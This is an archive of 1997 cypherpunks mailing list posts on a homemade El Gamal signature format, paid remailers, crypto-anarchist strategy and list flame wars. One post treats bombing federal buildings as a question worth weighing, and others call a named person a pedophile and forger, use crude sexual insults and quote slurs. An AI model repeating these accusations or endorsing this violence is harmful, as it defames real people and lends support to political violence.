>calculate the hash.  Signatures such as S/MIME and PGP have enough
>information at the top of the signed message to allow one pass
>processing.

My thinking on this is that passes are cheap these days.  I want the
signature to be unobtrusive which probably can't be done if only one
pass is required.

Incidentally, a nice feature of these signatures is that they can be
moved around in the file just by changing the offset.  You don't need
to control the secret key to do it.

>> The first line is "16A5942B6EED349ECF4594C784DFD177 [Cantsin
>> Protocol No. 1]".  The hexadecimal number was chosen randomly and
>> is the indicator that this is a Cantsin Protocol No. 1 signature.
>> The number was chosen randomly and it is somewhat unlikely that
>> anybody else will accidently choose it.
>
>You might want to think about what happens if the document itself
>contains (maliciously, or perhaps because it is talking about your
>signatures) the string in question (as yours does and this one does
>as well).  This could throw off an automated signature checker.

The signature checker should ignore bad or incomplete signatures.  I
would consider this to be a bug in the software and not a bug in the
protocol.  A bad signature simply lacks meaning and an error message
need not be reported.

That might seem a little callous, but actually it's how we should
regard signatures.  The current model seems to be "computer, check the
signature on this file and tell me if it's good", whereas the correct
(in my view) model is, "computer, extract all of the material from
this file which is properly signed and throw out the rest."

(Of course, you could imagine a smart editor which highlighted the
areas of a document which were signed by various parties.  It seems a
little early to implement this.)

If it's not authenticated, you shouldn't even look at it.  I've taken
to putting the To: and Subject: header lines at the bottom of my
messages for this purpose.  There's really no need to keep any of the
header fields.

The header fields can be put at the end just as unambiguously as at
the beginning, but at the end they can be signed.

>> The second line in the signature is an SHA1 hash of the public key.
>> The hash is computed on the concatenation of the hexadecimal ASCII
>> forms of p, g, and y respectively.  There should be no leading zeros.
>> (Remember to leave off the newline!)
>
>Presumably you could use the key hash to look up the key to use for
>verifying the message.

Strictly speaking it's there to save space.  If we put the public key
components in every signature it wouldn't be much harder for the key
management software to compute a hash on them somehow.  This does not
have to be standardized.

>This has a mild denial of service attack.  Someone else could create
>a key with different boundaries between p, g, and y but which would
>create the same string as this concatenation, and therefore the same
>hash.  If you left the "p: ", "g: ", and "y: " in place it would
>prevent this.  PGP's key fingerprints have had the same problem.

ACK!  I knew about this problem, but I couldn't remember exactly how
it worked.  So I said, "Monty, let's not be dumb like those PGP guys.
Let's concatenate the keys together and compute the hash.  Nobody will
ever..."

Thank you very much for pointing this out.

>> The fourth line contains an offset and a length to specify the area
>> of the text which is signed.  The offset is relative to the
>> signature itself.  That is, the first character of the Cantsin
>> Protocol No. 1 code is at position 0.  As signatures are usually
>> appended, the offset will usually be the additive inverse of the
>> length.
>
>It is intriguing that this can be used to sign a subset of the text.
>Presumably there could be multiple signature blocks each of which
>signed different subsets, possibly with different keys.  One problem
>is that it is not obvious to the human reader what part of the text
>is signed.  A nice effect with PGP and S/MIME signatures is that even
>readers who don't have the tools can have some slight confidence in
>signatures, because other readers will often report it when
>signatures don't verify.  With a signature that only covers a portion
>of the text, people might assume that if there are no reports of
>failure, more of the text is signed than is the case.  This is not a
>technical problem but is a social phenomenon which may not interact
>well with this signature format.

People who want this feature should type something like "BEGIN CANTSIN
PROTOCOL NO. 2" and "END CANTSIN PROTOCOL NO. 2" into the text at the
right points.

>You need to specify a canonical line ending format.  Based on the
>count values in your document, it appears that you are counting line
>terminators as being one character long.  Your count value of 1CB9
>corresponds to decimal 7353, there are exactly 7353 characters from
>the first character of your message body to the beginning of your
>signature magic number, if line ends are one character.
>
>The specific characters for line endings need to be specified as well
>for the hash to be calculated consistently.  Your hash appears to be
>calculated with LF as the line ending (although the hash program is
>broken, see below).  Probably CR/LF would be preferable for the line
>endings as that is a widely used internet standard as well as being
>common on windows.

My feeling on this is that this is outside the scope of a signature
protocol.  The protocol should not make any assumptions about what is
being signed nor should it modify what is being signed.

I use LF to terminate lines and would recommend this to others, but it
is not part of the Cantsin Protocol No. 2 specification.

In any event, if we must put in patches to handle the poor fidelity of
electronic mail, the patches should go in afterwards.  When a
signature checking program finds ">From" it should replace it with
"From" and see if it can get the right checksum.  Likewise, it should
try the various line endings until it gets a match.  There can't be
more than about 12 variants, so this shouldn't create an onerous
burden on the machine.  (And, I suppose, it would be possible to add a
field after the length or after the hash which made a suggestion about
the line ending.)

>> You also need to be able to compute SHA1 hashes.  I've been using
>> something called "sha1file" which, I believe, originated at Adam
>> Back's web site.
>
>That program has a bug.  The routine SHA1_update in the file sha1.c
>is missing a line:
>
>   CENSORED BY THE UNITED ST
>   A
>      TES GOVERNMENT CENSORED BY THE UNITED STATES
>       GOVERNMENT CENSORED B
>      Y THE UNITED STATES GOVERN
>      MENT CENSORED BY THE UNITED 
>      STATES GOVERNMEN
>      T CENSORED BY TH
>***   E UNITED STA  ***  MISSING  ***
>   T
>
>Correcting this will make your hashes be correct.

Another great suggestion.  The hashes should be correct now.

Incidentally, in another thread I've been talking about partial
signatures.  The code above is an example of where this would be
useful.  In some countries we are not allowed to express ourselves
freely without persecution.  If I wanted to provably quote somebody
who included forbidden ideas in their message, it wouldn't be possible
without partial signatures.

>> El Gamal is simple enough that the signature on this message can be
>> checked using standard Unix tools such as dc version 1.1.  Let's
>> say M is the SHA1 hash of the message.  It is checked by verifying
>> the truth of this equation: (y^a * a^b) mod p = g^M mod p.
>
>El Gamal is a rather lengthy signature, although the verification
>equation is relatively simple.  DSS has a shorter signature.

This might be a good thing to add to a later Cantsin Protocol.

>There are some subtleties to choosing El Gamal keys, but with the
>2048 bit values you have chosen you are pretty safe.

Schneier doesn't mention this, although presumably this information
will show up in one of his references.  Do you know offhand of a
published source which covers this?

>Also, you can't really justify using 2048 bit keys when your hash is
>only 160 bits.  The hash becomes the weak link for keys beyond about
>1024 bits, and unless you use a stronger hash your key strength is
>misleading.  This is why DSS is only specified up to 1024 bits.

This is just intuition, isn't it?  Since we really don't know how hard
it is to factor it seems hard to claim we know the ratio of difficulty
between breaking SHA1 and El Gamal.  Factoring could be broken before
SHA1.

Not that any great science was applied to the choice of a 2048 bit
prime, it just seemed like a good size.  ;-)

Also, I think it is a mistake for people to communicate the strength
of a system by choosing various key lengths based on general popular
views.  It's probably better to say "I estimate this system requires
at least 2^x operations to break."

We've seen this with people choosing short keys so nobody will get the
idea that it is secure.  This just seems all wrong to me.  The key
length is only one way in which a key could be insecure.  Monty
Cantsin's authentication key, for example, is not kept very securely.
But, the way to communicate that is to say "this key is not kept all
that securely."

However, in Cantsin Protocol No. 2 the size of the prime chosen is
completely unspecified.  There doesn't seem to be a reason to restrict
the choice other people will make regarding the length of the prime.

I could imagine choosing a short key for control over a
semi-persistent identity.  The advantage is that you can claim
somebody else brute forced the key for statements you wish to
repudiate.  Similarly, I could imagine choosing an obnoxiously long
key to make it hard for people who don't have super fast machines to
associate with you.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Cantsin Protocol No. 2
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
C602F22D31BBC6245643E58AD8EB260B58DC1250
-2B49 2B49
CEDDBC793332877C29C3BF084DDD8DE8113E6C80E13995BCAFACE2E7D719194A8CAEB987D2DAC013204F1A2909B1FADCB7EFE39F0F764B140CA5711D057B4EF1EF880ACAF1FF19FB5E92E4A8E4F1CE4B0F18CBB37274629EDACFF412C5A971C20869A956497491F41F3D0E7791F85E18ED638B0552A275CF2F24002646084CB3BCF0AE52A38826D1D986CBE460B793836291326C3636A452B54A79DE949CB6A12FD1852D9FC438D6D7E63989CC031161B8872E1EE60D0C4521FCF7096B98E1DEF560432314258359370763BCE5D3D4610B097DC68C1EDCD1F3D5084069C74191C798383C3BF822EC97DE84531B20ECCB36B13EC9153252C88FFAFE71CD65B197
AFC25A731FAD9BB9A373B7D9972EA9CED870CC6FDACE0B2A2AEAC4F0C33115B15E689CBF943B757F8690C945CC1CB29E4F86276EB0643E215ADB92CEFE1394DD8320DDF703D4212EFEFA59081C21BBD2ED6282304D2DB496735BBCB3E5B802C2B78037EC041DDD8BBC1E4712CF18E56237E5BCDB37127F538BEF1E0038949B42F88140E608F02282570388D07785841069FD76EFC78E170E12DC1CF6570E7D67603707E15717704EBF8DE50014141DC8F8C80432333B5647B176093A45834F4460BDD2465306AE56156EFE1D0686F0FB4F7743CED116F47121EB4970B4CFDBEC6E56E90AADAA97836E95F3723B3216E99EC9FDE324943AFF6F257880423DFCE7






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 09:40:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Freemen and Serfs
Message-ID: <199712030131.CAA08208@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <nobody@REPLAY.COM> wrote:
>This model of "sheeple" doomed to slavery while cypherpunks
>comfortably live independent of the state is even less plausible than
>the original idea of crypto anarchy.  It appeals to our elitist
>instincts and makes us feel comfortably superior, but it has little
>connection to reality.

If elitism had been intended, the subject would have been "Lords and
Serfs".  Freemen are more like people with some rights, some property,
and some skills, but who are not serfs.

>This idea overlooks the "fax effect", where the value of a technology
>rises in proportion to the number of people who use it.  Cypherpunks
>will have to set up a virtual Galt's Gulch, trading only with
>themselves, and unlike in Rand's fantasy the limitations of such an
>economy will soon be apparent.  Early cypherpunk experiments like
>"Magic Money" showed how pointless a virtual cypherpunk bank would
>be.

Cypherpunks should be able to provide services which slavers and
others want.  This could be code.  It could be expertise.  It could be
connections.  Whatever.  The slavers have things to offer cypherpunks,
whether it's food, construction work, hardware, etc.

Whatever the medium used to trade these services, there is no reason
why the slavers would forego the services they may want.  Assuming
that the Freemen aren't agitating on behalf of the slaves, that is.

We don't need all the slavers to deal, nor do all cypherpunks have to
deal with all slavers.  Just some members of both groups need to get
together and trade.

>In an increasingly interdependent world economy, the only hope for
>cypherpunk technologies to succeed is to extend them as far as
>possible throughout society.

Standard doctrine, but I no longer believe it is sound.  We've been at
it for years now.  Are the masses using crypto?  I didn't think so.
It's a waste of time to sell to people who think they "have nothing to
hide".  Even if they were using crypto, they would accept snoopware if
it were accompanied with the right media programming.

Which means that instead of proselytizing, it's probably better to
develop systems which we can use which are expensive-to-impossible to
thwart even in hostile environments.

There's no need to turn people away, of course, but begging people to
help themselves is a poor investment.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Freemen and Serfs
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
04480B5C1D4BAC4412B56B45C914FC0729EACD0D
-9E1 9E1
D091B591FD5A62F87A13E9F150FD1784E96406AC12BC3CC26C5BF4F724C2356CB55E30D8580CF00BEB24F44B8C3AE5538B396B211D86A0196CE2E682C2A23386818117C27DCAB370687DDF196C7E747ACC06FA9F1260DC403A3C67809B386AE720A031FDE0A2AB6D09AFEBDC4D38B737A6C688BD57FF6F365D197B447930174E91C6C5413255374C5572D3C883B9CF671E261A9EA731B40F945EDB921A93FDDF4178F5C408C737DB68BCE408F44DEFF3372B8EDD9881DF23AE68F272BDFB4AD641069F9ED040E50FE1D97713E9397AA6E0ACDAA4DC6EA2D7DF60C2A8CB436D14A94B6D60FFB7B579925759E67BC967EDE3978FFDCB69B8F63321FD8F37129F61
8DE018E1A7E38960CFFAF89947FBFBF02F3130909363E22F700E12D9F23E90BEB1F877EA5B9C754C197A9F082959F84A0E037DC46A82406A73463FE9E954EC18B729DBFCCD2AAEC09BE8CC547BF2CF53C15C8A4DCB38B20AA479B87760A1ACCFEB93B999F431D714C7C687F01A692736DA9984D31FB8C01A89E3832AC1442B809BC22240A6300E49BFFD5674FE2D0589CF076CD21F6B909BA8914C4C964991145A7B0BB5E7FCECD0D5719DD869DBB6543807FB7498E83E24FAB778FCF597B5DB6FB1193F6F9E6AE1C0412DBCC15CC35DEFE7EE0B0FF108962323E5079ECF15FF3BD1C5FD676A42E8D579217372B9DF24B0A619CC95A41EBDE44E9D1295A566D6






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 3 Dec 1997 19:01:43 +0800
To: cypherpunks@toad.com
Subject: Re: Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From:
In-Reply-To: <v03102802b0a801cade82@[206.170.115.5]>
Message-ID: <3.0.3.32.19971203025104.00740bfc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 07:45 AM 12/02/1997 -0600, TruthMonger wrote:

>  It never fails to amaze me that complainers point out that an
>'abusive' letter started out, "I hate niggersfaggotsjewsyou!"
>and then proceed to list the other fifty 'abusive' things that
>the writer had to say. 

The real problem, besides the emotional distress some people feel
at the abuse they get in response to forged postings,
and the potential loss of reputation capital, is that people
keep trying to call their ISP to get them shut down,
and some ISPs do this sort of thing, squashing abusive-sounding customers
first and asking questions later.  Ok, soon-to-be-ex customers...

>  I can make my own Bill Stewart <stewarts@ix.netcom.com> signature
>and inundate the InterNet with "I like to kill babies after I molest

Actually, I tend to go for drowning them in bath water,
then throwing them out.  But you know that, you've helped....

I've also got a TOTO filter set in Eudora that flags messages
from TOTO's systems.  Doesn't matter if it's him, or TM,
or LittleDogMonger, or his neighbors in Saskatchewan,
I'd rather have the warning  :-)
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBNIU5l/thU5e7emAFAQFb4gIAnQJOfaUJIzhFkR2lsQMhYbrIfRzuCGT9
ubHaDVVv0jZUzZA+R2zZTXUiCx45kPmNJmjYd1D47cZNp7bE2L20kQ==
=pkXy
-----END PGP SIGNATURE-----

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 10:05:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is Tim May guilty of illegally advocating revolution?
Message-ID: <199712030151.CAA10375@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



A ghost speaking through the medium replay.com communicated:
>Everyone likes to overlook this, pretending that May didn't mean it.
>Well, he never withdrew it, did he?  He never apologized for it.
>He's on the record as explicitly calling for the murder of high
>officials.
>
>And of course May further revealed his true colors with this horror,
>from the same message:
>
>> Every day that passes, I'm more convinced that McVeigh did the
>> right thing.  Some innocents died, but, hey, war is hell. Broken
>> eggs and all that.
>
>May's apologists have tried to pretend that he didn't say this, that
>he said that he was beginning to understand McVeigh, or something.
>That's not what he says here.  He says he is becoming convinced that
>McVeigh did the right thing in murdering all those people.

Whether we like it or not, many people are sympathetic with McVeigh.
Some are considering whether actions like bombing Federal buildings
are justified.

It's far far better that these issues are raised and discussed.

>He callously compares the shattered bodies of the children and other
>innocent victims to broken eggshells.  Monty Cantsin has provided us
>a moving description of the painful deaths of the children in Waco.
>Will dying of asphyxiation under pressure too great even to draw a
>breath be any easier?

You've hit upon something interesting here, Anonymous.  Let's consider
three groups of children.

1. ~100,000 children harmed in Iraq.
2. ~40 children harmed in Oklahoma City.
3. ~20 children harmed outside Waco.

Of these three groups, the third upsets me the most.  Why?  There are
several factors.

One is the extent to which the people committing the actions claim to
represent me.  It is often claimed and widely believed that the
Federal government is acting as a representative for and is answerable
to the American people.  (Allow Monty Cantsin a hollow laugh here.)

That being the case, Waco is far more upsetting than Oklahoma City in
this regard because McVeigh (or whomever) is not thought to represent
a sizeable proportion of the American public.  In the case of Iraq,
this factor raises my concern well above other places in the world
where children are mistreated.

Of the three groups of victims, I identify most strongly with the
people in Waco.  While not strongly religious myself, I respect people
who have unusual beliefs and stick to them.  And I have sympathy for
those who might live in unusual ways.  While I share a culture with
the victims in Oklahoma City, in general we would have little to say
to each other.  I don't know anything about people in Iraq.  This
factor probably governs my feelings on the matter most strongly.

The motivations of the people committing the acts are important.  I do
not believe that McVeigh (accepting the standard paradigm) meant to
kill children.  He certainly meant to kill people who had no
involvement with Waco.  I do not approve of his choice.  I would maybe
even kill somebody to prevent it from happening.  But, one feels
differently when children die more or less by accident than when it is
cold bloodedly premeditated.

In the case of Iraq, it is extremely hard to justify killing kids for
their oil.

The provocation that leads to an act must also be considered.  I am
extremely sympathetic with McVeigh's desire to do something about
Waco, even though I do things less violent and (hopefully) more
effective.  There was no reason whatsoever for the Waco crime to be
committed, likewise people living in the Middle East have not really
committed any provocative act more serious than having oil on their
land.

The mob mentality that seems to have gripped the United States during
the Waco atrocity has a particular horror which is absent in the case
of Oklahoma City and, right now anyway, mostly absent with Iraq.  The
blatant misrepresentation of what was occurring and the degree to
which people were compliant with it is shocking.  There was no serious
attempt to investigate the motivation behind the raid, or even what
was actually occurring from day to day.

The aftermath was even more horrifying.  The government attacks and
murders ~80 innocent people in the most brutal way for no identifiable
reason.  And all anybody can seem to do is to try to protect the
establishment, instead of finding out exactly what happened, instead
of charging the criminals who perpetrated the horror, instead of
taking the necessary actions to make sure nothing like this will ever
be done again by the Federal government, and instead of telling the
truth.

The implications of the three situations create varying degrees of
alarm.  I do not expect to see many more bombings.  Bombs are nothing
new.  They've been around for over 100 years and they are a manageable
problem.  Every few decades there's been a big explosion.  It is
unlikely McVeigh will do something like this again.

In the case of Iraq, I'm used to governments behaving this way and I
do not see it directly affecting me very soon.  (Perhaps this is a bit
insensitive.)

Waco, however, is quite another matter.  When you watch the footage it
gives you the creeps because what is being reported belongs in the
1940s and the people should be speaking German.  Instead, everybody
speaks English with an American accent and it's happening right now.

When you see an FBI agent justify what happened on the grounds that he
goes to a "normal" church and has a "normal" family, and when you see
other officials state that they wanted to harm the children to
encourage the parents to turn themselves in, the implications are that
we have a very serious problem that will not go away by itself.

Finally, in the case of Waco, the people in charge had all the time in
the world to think very carefully about what they were doing.  They
apparently decided to kill everybody they could, including particular
children whose names they knew, whose pictures they had seen, and some
of whom they may have even spoken to on the telephone.  This really is
hard for me to understand.  I can't imagine what kind of person can do
something like this.

This horror is particular to Waco.  In the case of McVeigh and the
people making policy regarding Iraq, the victims are at least
anonymous.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Is Tim May guilty of illegally advocating revolution?
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
194C5F507117380477F77027D4EB123D860F9954
-193C 193C
67A00FF1E409CA006D411CBA6EC9083B7F2E6C8B840EFA61C463AC49BAEC41A989CA231DF41E61A9C948B3A018E43CA55CD2D095E490855E9DF8ACCD5691B6A3C671016CD2456FE6B82C1D5BB6BFDE4949FA2F8A9968B5EACD3BB8EDD135EDA4CD12593A097E0610275944B1B019996D2B43942A4F0589B6231511AD7483B114CC4474D589AC16873D6CE0F783A4EE8AAC984A34975291D5CB8745F0FF44F44E74C51660D8B1BC32109BCC681C396537BBEA3A4F0165F6F4D5D50A1A4CFEC9DFE622D625FF343F91E04964FAC4E43B064C80D89B6CC0C5D4DA6BBEFB0D9197B8B666CCAA7186D3678FDCABA2F0ECEAB999CDE43DDD1C6182634AE0709B8AE744
623AE2E8E3A140672148D4A476D6C3133C05B2689754563F0427DD8A053B089F85180F0764F75B17D50CDE95F7C650254BE23EBC10EA352280C9CBF31D217CF4C34177107D83754467A7C424FF68B32598B17747FA772453121370A4EB49C148ABD077231088DF65F0DDAA793A8EBA63501772C711D08CD82AF0BB11D81C950F9033C812DD93A6A6D1BC1798B1410E6DB522897A84B7EBE310A5BB53AAA0D833C497B6541BED9B19AA879BA87E1FE43039E5CC4568A1C152B4A699C80D70FF34E811E78D5A752D3A61638FA8EC3D277EC896806C9D84D948114649341D218900B5DD562787737223BA0580C81F1304F1F01645CD4CB1533859A1247098350598






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 11:02:46 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Pasting in From:
Message-ID: <199712030243.DAA16591@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Nerthus wrote:
>Since anonymous remailing is now considered a free service in the
>minds of most of its users, charging for it does not make sense.  I'd
>be curious to know how much money has been collected by the
>ecash-accepting remailer that Ian Goldberg set up a couple months
>back.

My guess is it has brought in very little money.  There is really no
reason to use it.  It seems to be the same as the jam remailer which
is free.  I had hoped to use it as an exit remailer, but even that is
a loss as it apparently uses cracker (?) for that purpose.

What we did learn is that it isn't that hard to set up a remailer to
accept ecash.  I doubt we've learned much about the market potential.

The recent reports of the anonymizer pulling in $180,000 annually are
worth thinking about.

>[nym] remailer like I mentioned above may become lucrative if it
>generates enough repeat customers (i.e., persistent nyms).  So could
>charging a fee for each address put in the Bcc: header.

This is a good idea.  Ecash accepting remailers should offer perks
which are not generally available, or just offer a faster more
reliable service to paying customers.  For example, free messages are
delayed 90 minutes while paid messages are sent immediately, modulo
some details like mixing.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Pasting in From:
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
0D94F3550B8D9B761BBC7C022556AAF5CAC87D87
-5C3 5C3
4710C4201C494D7356850F9B3B0130C38F40E405715557077922BAF70423E9BFB0A33749EF323F0A456ED428C175BBE0DD4EDEFF6405DEE2BE5AB8CA3DE3C4BC295D661622A9E0B30F2D59FDE15C0036881086A446CD8056AFFEEEFD4A0148062E8EE11786DA596AC4EACF00537AA4B796414D3E547E2150B48BF85488A2C94B3A5D259B6049065532F7C6DC31A62E74FA857EF2DB1EE250044FB9A5A3004197A1B0C70F6E7F6979A536710D973D50C0E47979E0EEA6E1435D4F4C8C655A90F7AE0B80E66786714F4BC2F1AC3BF3547A8D7397B157272C2D31C7293ACC452F88FC24711FDFA7F6584AE54B95BEDD470AC74F4A96D25E3C6F9C0A4951DA151EE1
2DB27D06A2EB1119232A7DE422EDBD9DCB6EF8B15B769B0E937229DDC821ACA290AFC3C40F5A567A14941F747075F45C26E35610603E4F253B7D5F7DBCF5243D44916E9732BE89C2979BC4E5411879D7B01FF6C351BAFE57F2833F9D82A53A5B4CD70BF0020FBFA51A6C00A3B894B25BE51EA084206386E86125965AD40F23A5B3288AAB06C1EA655FF363A340CAB4DD9AF2F3E7D44B3E4D1BF5CF392B5EDF562F98AE63FFA883C268F094C95F42589F07D73E03C9131EF11D03516A8E98647E52B97EB7D8D1F77C53FB017B307A473F9C1397416BC7AE5F59C928BA356622DE55BD811C1243DF48C52168345F2655DE3ECEE8697244D918296B40A642A730B0






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 14:40:11 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is Tim May guilty of illegally advocating revolution?
Message-ID: <199712030634.HAA11992@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



A ghost speaking through the medium of replay.com communicated:
>There's a fallacy which is quite common on this list, especially
>among members whose positions are otherwise indefensible.  It's
>surprising in a way because this fallacy is more common among
>statists.
>
>There, the fallacy goes like this: if it is immoral, then it must be
>illegal.  We see this all the time.  People think of the government
>as their way of expressing moral values.  Drugs are wrong, so they
>must be made illegal.  Discrimination in employment is wrong, so it
>also must be illegal.  We have countless bad laws based on this false
>premise.
>
>On this list we see the same fallacy, turned around: if it is legal,
>it must be moral.  Someone is attacked for posting some vicious,
>hateful, immoral rant, and they respond that what they said was
>legal, because of freedom of speech and the First Amendment.  Their
>critic must be opposed to free speech if he objects to their words.
>
>Confusing what is legal and what is moral is a dangerous game.  It
>leads to the false reasoning of the statists.  We must remember that
>there is a clear distinction between morality and legality.

This is a good thing to remember.  However, what you seem to be
calling immoral is holding a belief with which you disagree.

Is it possible to hold an immoral belief?  I don't think so.  Once
you've drawn a conclusion about the nature of the world you can hardly
decide that it would be immoral to understand the truth.  Actions, on
the other hand, can be immoral.  Let's not confuse beliefs with
actions.

What you seem to be proposing is that Tim May (or whoever) should
refrain from expressing certain of their beliefs about the world
because they are immoral.  You have seldom addressed Tim's statements
directly.  Orwell had a word for this: "crimestop".

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Is Tim May guilty of illegally advocating revolution?
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
9D7BB055B375A33548CB1E4F5F12CADFBD9F0C95
-812 812
461B0214EED56AE45090389D490B02613A95DA2041631B8D3462337C8E594474AF0CEB2D8725268D55149C5F7F37D681C163914BB4FE709FA1F56951427256E896527353386BCD461115D7ECB2B09270EFE9057A4F99DA92F3D781CDE6294330112FFDBB7331EEB0DE599BEE6E6FCA4F383368D050553934BEE14C1A0593443DB88DDD355ED87C8722EC0AD10285FDE340CCC5662C49C78E7746BC5CEDEE1166AC1DD368B84CF53A8703357BF8D73961027F39E52A5FE4BBFB0605F32C8887929A0F6C6044D427BAC9F3B452EE5BC8A331D8A62107440033557C2E50383AD64A650A4D31624B7E6E18B531360B061BE27481EA7F20B4BE104CA28148EA2139B7
D27633EAE1E96547D749063F5549263ED020FB6369CD001470CA8797769D66438346AC360A4B3C62900AB5061284A5F06975B3B31FF69908C5D55FF3865F114FE76DE8FCC356832DD7AB58CAAB4EDB6AAB9915ABF05C24D0D9880684E4CFE3CA77B8B95FB319047B9366D684E08E81E1D38CF7CEDD40A5E938933A4EE592D6A4A61E8F2CD694E18F438CFCDFFE6FB2F859ED900B1E80DADC3E534C20EAA78EEDED1AFCE8D8205541C529269B8F7CD7ABBF252863B784333576B6A507781E12C2E41AEB190FDE289BFD63D3F115884BFBDEEBA5D031DBA7625EAF1F89F80855FBF238413A3A7FE791134A816DD4F712EC26B0F20DBA0DC418AA80CAC5CAF3747C






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Dec 1997 21:30:51 +0800
To: cypherpunks@toad.com
Subject: Re: Bill Stewart kills babies after he molests them. Honest! /
In-Reply-To: <3.0.3.32.19971203025104.00740bfc@popd.ix.netcom.com>
Message-ID: <Lc15ge34w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

> The real problem, besides the emotional distress some people feel
> at the abuse they get in response to forged postings,
> and the potential loss of reputation capital, is that people
> keep trying to call their ISP to get them shut down,
> and some ISPs do this sort of thing, squashing abusive-sounding customers
> first and asking questions later.  Ok, soon-to-be-ex customers...

Yes, this is one of the problems. Earlier this year pedophile Chris Lewis
from Northern Telecom forged a bunch of spam e-mail to look like it came
from dm.com (my domain).  I got about 500 obnoxious e-mails, which I
semi-automatically responded to, and had a rather unpleasant conversation
with the assholes at my upstrea (PSI): "If you prove that this e-mail didn't
originate at your site, you will not be held responsible".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Dec 1997 21:32:26 +0800
To: cypherpunks@toad.com
Subject: Re: If you fought to defend your country...
In-Reply-To: <199712030658.AAA00328@smoke.suba.com>
Message-ID: <HH15ge35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"snow" <snow@smoke.suba.com> writes:

> > "snow" <snow@smoke.suba.com> writes:
> > > Vulis said:
> > > > Only 2 inches are required to reach the prostate.  Anything over that
> > > > is just windows dressing.
> > > 	Sounds like the voice of experience to me.
> > That's right - I habitually fuck Chris Lewis in the ass with a dildo.
>
> 	Why, your's not long enough to reach the prostate?
            ^ [sp]
I don't want physical contact with pedophile forgers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Dec 1997 21:30:51 +0800
To: cypherpunks@toad.com
Subject: Re: Freemen and Serfs
In-Reply-To: <199712030702.BAA00352@smoke.suba.com>
Message-ID: <uJ15ge36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"snow" <snow@smoke.suba.com> writes:

> > How, exactly?  We're not talking about computers as "the technology".
> > We mean anonymous remailers, digital cash, Chaumian credentials,
> > steganography, and other cypherpunk technologies.  Who is using these
> > technologies to make more money today?  Almost no one.  The reason is
>
> 	Who was using the internet to make more money 5 years ago? 10?

Hello!  My name is Dave Rhodes.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 3 Dec 1997 21:31:33 +0800
To: cypherpunks@toad.com
Subject: Re: Pasting in From:
In-Reply-To: <Pine.LNX.3.93.971203145414.558C-100000@shirley>
Message-ID: <ys15ge38w165w@bwalk.dm.com>
